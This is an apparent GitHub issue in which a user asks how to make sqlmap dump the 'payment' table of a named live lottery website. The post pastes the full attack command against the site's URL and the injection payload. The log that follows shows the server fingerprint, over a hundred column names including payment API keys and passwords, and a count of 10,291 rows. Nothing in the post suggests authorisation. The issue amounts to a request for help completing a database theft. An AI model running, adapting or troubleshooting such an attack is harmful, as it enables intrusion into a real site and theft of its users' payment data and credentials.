I am using sqlmap, but the table information is not dumped. Please tell me how to solve it. #5568
Description
I am using sqlmap, but the table information is not dumped. Please tell me how to solve it.
The response is the same even if the --no-cast option is used, and the response is the same even if the --hex option is used. How can I dump table information normally?
I will post the search results below.
sqlmap -u "http://88lotto.co.kr/cs/notice?search%5Blimit%5D%5Boffset%5D=0&search%5Bkeyword%5D%5Bkey%5D=subject&search%5Bwhere%5D%5BsubjectTag%5D=&search%5Bkeyword%5D%5Bword%5D=the" -D lotto88 -T payment --dump --threads 1
___
H
___ [.]__ ___ ___ {1.7.10#stable}
|_ -| . [.] | .'| . |
|| ["]|||__,| |
||V... || https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 18:22:43 /2023-11-11/
[18:22:43] [WARNING] provided value for parameter 'search[where][subjectTag]' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[18:22:43] [INFO] resuming back-end DBMS 'mysql'
[18:22:43] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('0cbd2d1830319eb762710e97a9457167=qtcis9ca77k...ml8ulsa2oc;014d033c707e316261a47adf2e475381=eyJ1cmkiOiI...bnVsbH0%3D'). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
Parameter: search[keyword][key] (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: search[limit][offset]=0&search[keyword][key]=(SELECT (CASE WHEN (3524=3524) THEN 'subject' ELSE (SELECT 7389 UNION SELECT 6384) END))&search[where][subjectTag]=&search[keyword][word]=the
[18:22:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12
[18:22:46] [INFO] fetching columns for table 'payment' in database 'lotto88'
[18:22:46] [INFO] resumed: 116
[18:22:46] [INFO] resumed: coamResTid
[18:22:46] [INFO] resumed: coamResTranDate
[18:22:46] [INFO] resumed: coamResTranTime
[18:22:46] [INFO] resumed: coamResWon
[18:22:46] [INFO] resumed: convBackup
[18:22:46] [INFO] resumed: convKey
[18:22:46] [INFO] resumed: idx
[18:22:46] [INFO] resumed: inflowAdAgency
[18:22:46] [INFO] resumed: inflowAdKeyword
[18:22:46] [INFO] resumed: inflowAdPosition
[18:22:46] [INFO] resumed: inflowAdSearch
[18:22:46] [INFO] resumed: inflowDevice
[18:22:46] [INFO] resumed: inflowHost
[18:22:46] [INFO] resumed: inflowTypeCode
[18:22:46] [INFO] resumed: inflowUri
[18:22:46] [INFO] resumed: insertDateTime
[18:22:46] [INFO] resumed: insertHost
[18:22:46] [INFO] resumed: insertIp
[18:22:46] [INFO] resumed: insertIpCountry
[18:22:46] [INFO] resumed: insertIpInfo
[18:22:46] [INFO] resumed: insertUserIdx
[18:22:46] [INFO] resumed: itemCode
[18:22:46] [INFO] resumed: itemEndDateTime
[18:22:46] [INFO] resumed: itemExpDay
[18:22:46] [INFO] resumed: itemExpMonth
[18:22:46] [INFO] resumed: itemName
[18:22:46] [INFO] resumed: itemNameCut
[18:22:46] [INFO] resumed: itemNamePg
[18:22:46] [INFO] resumed: itemOptionGuaranteeCode
[18:22:46] [INFO] resumed: itemOptionLevel
[18:22:46] [INFO] resumed: itemOptionPoint
[18:22:46] [INFO] resumed: itemOptionSlot
[18:22:46] [INFO] resumed: itemStartDateTime
[18:22:46] [INFO] resumed: itemStatCode
[18:22:46] [INFO] resumed: itemUseDay
[18:22:46] [INFO] resumed: itemWon
[18:22:46] [INFO] resumed: itemWonPg
[18:22:46] [INFO] resumed: onmirAppDt
[18:22:46] [INFO] resumed: onmirAuthNo
[18:22:46] [INFO] resumed: onmirResCode
[18:22:46] [INFO] resumed: onmirResMsg
[18:22:46] [INFO] resumed: onmirTotAmt
[18:22:46] [INFO] resumed: onmirTranseq
[18:22:46] [INFO] resumed: payAgencyCode
[18:22:46] [INFO] resumed: payCardQuota
[18:22:46] [INFO] resumed: payCpCode
[18:22:46] [INFO] resumed: payGrCode
[18:22:46] [INFO] resumed: payHash
[18:22:46] [INFO] resumed: payIncentive
[18:22:46] [INFO] resumed: payIncentivePercent
[18:22:46] [INFO] resumed: payInstallmentCode
[18:22:46] [INFO] resumed: payKey
[18:22:46] [INFO] resumed: payLog
[18:22:46] [INFO] resumed: payMethodCode
[18:22:46] [INFO] resumed: payNotiLog
[18:22:46] [INFO] resumed: payPw
[18:22:46] [INFO] resumed: payResAgency
[18:22:46] [INFO] resumed: payResCid
[18:22:46] [INFO] resumed: payResCpCode
[18:22:46] [INFO] resumed: payResGrCode
[18:22:46] [INFO] resumed: payResKey
[18:22:46] [INFO] resumed: payResMethod
[18:22:46] [INFO] resumed: payResTid
[18:22:46] [INFO] resumed: payResWon
[18:22:46] [INFO] resumed: payringApiKey
[18:22:46] [INFO] resumed: payringResCode
[18:22:46] [INFO] resumed: payringResMsg
[18:22:46] [INFO] resumed: payringTranId
[18:22:46] [INFO] resumed: paysharpAuthCd
[18:22:46] [INFO] resumed: paysharpKey
[18:22:46] [INFO] resumed: paysharpResultCd
[18:22:46] [INFO] resumed: paysharpResultMsg
[18:22:46] [INFO] resumed: paysharpTerminal
[18:22:46] [INFO] resumed: paysharpTrxId
[18:22:46] [INFO] resumed: payupApiKey
[18:22:46] [INFO] resumed: payupId
[18:22:46] [INFO] resumed: payupResAmount
[18:22:46] [INFO] resumed: payupResAuthDateTime
[18:22:46] [INFO] resumed: payupResAuthNumber
[18:22:46] [INFO] resumed: payupResCode
[18:22:46] [INFO] resumed: payupResKakaoResult
[18:22:46] [INFO] resumed: payupResMsg
[18:22:46] [INFO] resumed: payupResTransactionId
[18:22:46] [INFO] resumed: payVer
[18:22:46] [INFO] resumed: pluspayMid
[18:22:46] [INFO] resumed: pluspayResAmount
[18:22:46] [INFO] resumed: pluspayResCode
[18:22:46] [INFO] resumed: pluspayResMsg
[18:22:46] [INFO] resumed: pluspayResTid
[18:22:46] [INFO] resumed: salesHighIdx
[18:22:46] [INFO] resumed: salesHighIncentive
[18:22:46] [INFO] resumed: salesIdx
[18:22:46] [INFO] resumed: salesIncenType
[18:22:46] [INFO] resumed: salesLowIdx
[18:22:46] [INFO] resumed: salesLowIncentive
[18:22:46] [INFO] resumed: salesRealIdx
[18:22:46] [INFO] resumed: shvanApiKey
[18:22:46] [INFO] resumed: shvanId
[18:22:46] [INFO] resumed: shvanUid
[18:22:46] [INFO] resumed: statCode
[18:22:46] [INFO] resumed: updateDateTime
[18:22:46] [INFO] resumed: updateHost
[18:22:46] [INFO] resumed: updateIp
[18:22:46] [INFO] resumed: updateIpCountry
[18:22:46] [INFO] resumed: updateIpInfo
[18:22:46] [INFO] resumed: updateUserIdx
[18:22:46] [INFO] resumed: userBankName
[18:22:46] [INFO] resumed: userIdx
[18:22:46] [INFO] resumed: welcomepayApiKey
[18:22:46] [INFO] resumed: welcomepayId
[18:22:46] [INFO] resumed: welcomepayIv
[18:22:46] [INFO] resumed: welcomepayResAmount
[18:22:46] [INFO] resumed: welcomepayResAuthDateTime
[18:22:46] [INFO] resumed: welcomepayResCode
[18:22:46] [INFO] resumed: welcomepayResMsg
[18:22:46] [INFO] resumed: welcomepayResTransactionId
[18:22:46] [INFO] fetching entries for table 'payment' in database 'lotto88'
[18:22:46] [INFO] fetching number of entries for table 'payment' in database 'lotto88'
[18:22:46] [INFO] resumed: 10291
[18:22:46] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[18:22:46] [INFO] retrieved:
[18:22:48] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[18:22:48] [INFO] retrieved:
[18:22:50] [INFO] retrieved:
[18:22:51] [INFO] retrieved:
[18:22:52] [INFO] retrieved:
[18:22:54] [INFO] retrieved:
[18:22:55] [INFO] resumed: 1
[18:22:55] [INFO] retrieved:
[18:22:56] [INFO] retrieved:
[18:22:58] [INFO] retrieved:
[18:22:59] [INFO] retrieved:
[18:23:00] [INFO] retrieved:
[18:23:02] [INFO] retrieved: